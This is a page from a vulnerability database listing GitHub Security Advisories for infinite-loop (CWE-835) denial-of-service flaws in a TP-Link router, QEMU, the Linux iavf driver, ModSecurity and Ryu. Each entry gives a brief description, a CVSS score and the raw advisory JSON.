CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-32058"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-07T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "An infinite loop in the function httpRpmPass of TP-Link TL-WR741N/TL-WR742N V1/V2/V3_130415 allows attackers to cause a Denial of Service (DoS) via a crafted packet.",
  "id": "GHSA-f72f-2cvp-g7x5",
  "modified": "2022-07-19T00:00:27Z",
  "published": "2022-07-08T00:00:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-32058"
    },
    {
      "type": "WEB",
      "url": "https://github.com/whiter6666/CVE/blob/main/TP-Link%20TL-WR741NTL-WR742N%20.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F98X-7M57-3XG7

Vulnerability from github – Published: 2022-05-13 01:13 – Updated: 2022-05-13 01:13
VLAI
Details

The pcnet_rdra_addr function in hw/net/pcnet.c in QEMU (aka Quick Emulator) allows local guest OS administrators to cause a denial of service (infinite loop and QEMU process crash) by setting the (1) receive or (2) transmit descriptor ring length to 0.

Severity
4.4 (Medium)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2016-7909"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2016-10-05T16:59:00Z",
    "severity": "MODERATE"
  },
  "details": "The pcnet_rdra_addr function in hw/net/pcnet.c in QEMU (aka Quick Emulator) allows local guest OS administrators to cause a denial of service (infinite loop and QEMU process crash) by setting the (1) receive or (2) transmit descriptor ring length to 0.",
  "id": "GHSA-f98x-7m57-3xg7",
  "modified": "2022-05-13T01:13:40Z",
  "published": "2022-05-13T01:13:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-7909"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2018/11/msg00038.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.gnu.org/archive/html/qemu-devel/2016-09/msg07942.html"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201611-11"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-updates/2016-12/msg00140.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2016/10/03/3"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2016/10/03/6"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/93275"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F9VW-2HPV-H272

Vulnerability from github – Published: 2024-07-16 15:30 – Updated: 2024-07-17 21:31
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

iavf: Fix hang during reboot/shutdown

Recent commit 974578017fc1 ("iavf: Add waiting so the port is initialized in remove") adds a wait-loop at the beginning of iavf_remove() to ensure that port initialization is finished prior unregistering net device. This causes a regression in reboot/shutdown scenario because in this case callback iavf_shutdown() is called and this callback detaches the device, makes it down if it is running and sets its state to __IAVF_REMOVE. Later shutdown callback of associated PF driver (e.g. ice_shutdown) is called. That callback calls among other things sriov_disable() that calls indirectly iavf_remove() (see stack trace below). As the adapter state is already __IAVF_REMOVE then the mentioned loop is end-less and shutdown process hangs.

The patch fixes this by checking adapter's state at the beginning of iavf_remove() and skips the rest of the function if the adapter is already in remove state (shutdown is in progress).

Reproducer: 1. Create VF on PF driven by ice or i40e driver 2. Ensure that the VF is bound to iavf driver 3. Reboot

[52625.981294] sysrq: SysRq : Show Blocked State [52625.988377] task:reboot state:D stack: 0 pid:17359 ppid: 1 f2 [52625.996732] Call Trace: [52625.999187] __schedule+0x2d1/0x830 [52626.007400] schedule+0x35/0xa0 [52626.010545] schedule_hrtimeout_range_clock+0x83/0x100 [52626.020046] usleep_range+0x5b/0x80 [52626.023540] iavf_remove+0x63/0x5b0 [iavf] [52626.027645] pci_device_remove+0x3b/0xc0 [52626.031572] device_release_driver_internal+0x103/0x1f0 [52626.036805] pci_stop_bus_device+0x72/0xa0 [52626.040904] pci_stop_and_remove_bus_device+0xe/0x20 [52626.045870] pci_iov_remove_virtfn+0xba/0x120 [52626.050232] sriov_disable+0x2f/0xe0 [52626.053813] ice_free_vfs+0x7c/0x340 [ice] [52626.057946] ice_remove+0x220/0x240 [ice] [52626.061967] ice_shutdown+0x16/0x50 [ice] [52626.065987] pci_device_shutdown+0x34/0x60 [52626.070086] device_shutdown+0x165/0x1c5 [52626.074011] kernel_restart+0xe/0x30 [52626.077593] __do_sys_reboot+0x1d2/0x210 [52626.093815] do_syscall_64+0x5b/0x1a0 [52626.097483] entry_SYSCALL_64_after_hwframe+0x65/0xca

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-48840"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-16T13:15:11Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\niavf: Fix hang during reboot/shutdown\n\nRecent commit 974578017fc1 (\"iavf: Add waiting so the port is\ninitialized in remove\") adds a wait-loop at the beginning of\niavf_remove() to ensure that port initialization is finished\nprior unregistering net device. This causes a regression\nin reboot/shutdown scenario because in this case callback\niavf_shutdown() is called and this callback detaches the device,\nmakes it down if it is running and sets its state to __IAVF_REMOVE.\nLater shutdown callback of associated PF driver (e.g. ice_shutdown)\nis called. That callback calls among other things sriov_disable()\nthat calls indirectly iavf_remove() (see stack trace below).\nAs the adapter state is already __IAVF_REMOVE then the mentioned\nloop is end-less and shutdown process hangs.\n\nThe patch fixes this by checking adapter\u0027s state at the beginning\nof iavf_remove() and skips the rest of the function if the adapter\nis already in remove state (shutdown is in progress).\n\nReproducer:\n1. Create VF on PF driven by ice or i40e driver\n2. Ensure that the VF is bound to iavf driver\n3. Reboot\n\n[52625.981294] sysrq: SysRq : Show Blocked State\n[52625.988377] task:reboot          state:D stack:    0 pid:17359 ppid:     1 f2\n[52625.996732] Call Trace:\n[52625.999187]  __schedule+0x2d1/0x830\n[52626.007400]  schedule+0x35/0xa0\n[52626.010545]  schedule_hrtimeout_range_clock+0x83/0x100\n[52626.020046]  usleep_range+0x5b/0x80\n[52626.023540]  iavf_remove+0x63/0x5b0 [iavf]\n[52626.027645]  pci_device_remove+0x3b/0xc0\n[52626.031572]  device_release_driver_internal+0x103/0x1f0\n[52626.036805]  pci_stop_bus_device+0x72/0xa0\n[52626.040904]  pci_stop_and_remove_bus_device+0xe/0x20\n[52626.045870]  pci_iov_remove_virtfn+0xba/0x120\n[52626.050232]  sriov_disable+0x2f/0xe0\n[52626.053813]  ice_free_vfs+0x7c/0x340 [ice]\n[52626.057946]  ice_remove+0x220/0x240 [ice]\n[52626.061967]  ice_shutdown+0x16/0x50 [ice]\n[52626.065987]  pci_device_shutdown+0x34/0x60\n[52626.070086]  device_shutdown+0x165/0x1c5\n[52626.074011]  kernel_restart+0xe/0x30\n[52626.077593]  __do_sys_reboot+0x1d2/0x210\n[52626.093815]  do_syscall_64+0x5b/0x1a0\n[52626.097483]  entry_SYSCALL_64_after_hwframe+0x65/0xca",
  "id": "GHSA-f9vw-2hpv-h272",
  "modified": "2024-07-17T21:31:37Z",
  "published": "2024-07-16T15:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48840"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/4477b9a4193b35eb3a8afd2adf2d42add2f88d57"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/80974bb730270199c6fcb189af04d5945b87e813"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/b04683ff8f0823b869c219c78ba0d974bddea0b5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FF2C-WGR6-2P58

Vulnerability from github – Published: 2022-05-24 17:30 – Updated: 2024-03-21 03:33
VLAI
Details

** DISPUTED ** Trustwave ModSecurity 3.x through 3.0.4 allows denial of service via a special request. NOTE: The discoverer reports "Trustwave has signaled they are disputing our claims." The CVE suggests that there is a security issue with how ModSecurity handles regular expressions that can result in a Denial of Service condition. The vendor does not consider this as a security issue because1) there is no default configuration issue here. An attacker would need to know that a rule using a potentially problematic regular expression was in place, 2) the attacker would need to know the basic nature of the regular expression itself to exploit any resource issues. It's well known that regular expression usage can be taxing on system resources regardless of the use case. It is up to the administrator to decide on when it is appropriate to trade resources for potential security benefit.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-15598"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-10-06T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "** DISPUTED ** Trustwave ModSecurity 3.x through 3.0.4 allows denial of service via a special request. NOTE: The discoverer reports \"Trustwave has signaled they are disputing our claims.\" The CVE suggests that there is a security issue with how ModSecurity handles regular expressions that can result in a Denial of Service condition. The vendor does not consider this as a security issue because1) there is no default configuration issue here. An attacker would need to know that a rule using a potentially problematic regular expression was in place, 2) the attacker would need to know the basic nature of the regular expression itself to exploit any resource issues. It\u0027s well known that regular expression usage can be taxing on system resources regardless of the use case. It is up to the administrator to decide on when it is appropriate to trade resources for potential security benefit.",
  "id": "GHSA-ff2c-wgr6-2p58",
  "modified": "2024-03-21T03:33:55Z",
  "published": "2022-05-24T17:30:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-15598"
    },
    {
      "type": "WEB",
      "url": "https://coreruleset.org/20200914/cve-2020-15598"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2020/dsa-4765"
    },
    {
      "type": "WEB",
      "url": "https://www.modsecurity.org"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/159185/ModSecurity-3.0.x-Denial-Of-Service.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2020/Sep/32"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FFP9-PFQ9-G2WW

Vulnerability from github – Published: 2024-05-05 03:30 – Updated: 2024-07-03 20:14
VLAI
Summary
Ryu Infinite Loop vulnerability
Details

OFPMultipartReply in parser.py in Faucet SDN Ryu 4.34 allows attackers to cause a denial of service (infinite loop) via b.length=0.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "ryu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "4.34"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-34488"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-06T14:32:52Z",
    "nvd_published_at": "2024-05-05T03:15:07Z",
    "severity": "HIGH"
  },
  "details": "`OFPMultipartReply` in parser.py in Faucet SDN Ryu 4.34 allows attackers to cause a denial of service (infinite loop) via `b.length=0`.",
  "id": "GHSA-ffp9-pfq9-g2ww",
  "modified": "2024-07-03T20:14:06Z",
  "published": "2024-05-05T03:30:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34488"
    },
    {
      "type": "WEB",
      "url": "https://github.com/faucetsdn/ryu/issues/191"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/faucetsdn/ryu"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Ryu Infinite Loop vulnerability"
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list